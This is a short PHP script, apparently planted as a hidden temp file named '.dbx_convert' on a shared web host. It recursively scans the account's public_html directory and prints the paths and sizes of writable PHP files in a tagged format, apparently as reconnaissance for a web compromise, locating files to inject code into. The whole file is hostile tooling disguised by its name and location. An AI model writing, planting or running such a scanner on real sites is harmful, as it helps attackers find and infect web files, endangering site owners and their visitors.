File: /home/autlimited/.cagefs/tmp/.dbx_convert
<?php $min = (int)512; $max = (int)100000; if ($min < 1) { $min = 1; } if ($max < $min) { $max = $min; } function scan_sized($path, $root, $min, $max) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_file($p) && substr($p, -4) == '.php' && is_writeable($p)) { $sz = @filesize($p); if ($sz === false || $sz < $min || $sz > $max) { continue; } $res = str_replace($root, '', $p); print "<f>{$res}|{$sz}</f>"; } elseif (is_dir($p)) { scan_sized($p, $root, $min, $max); } } } } } $r = "/home/autlimited/public_html"; scan_sized($r, $r, $min, $max); die('!ended!');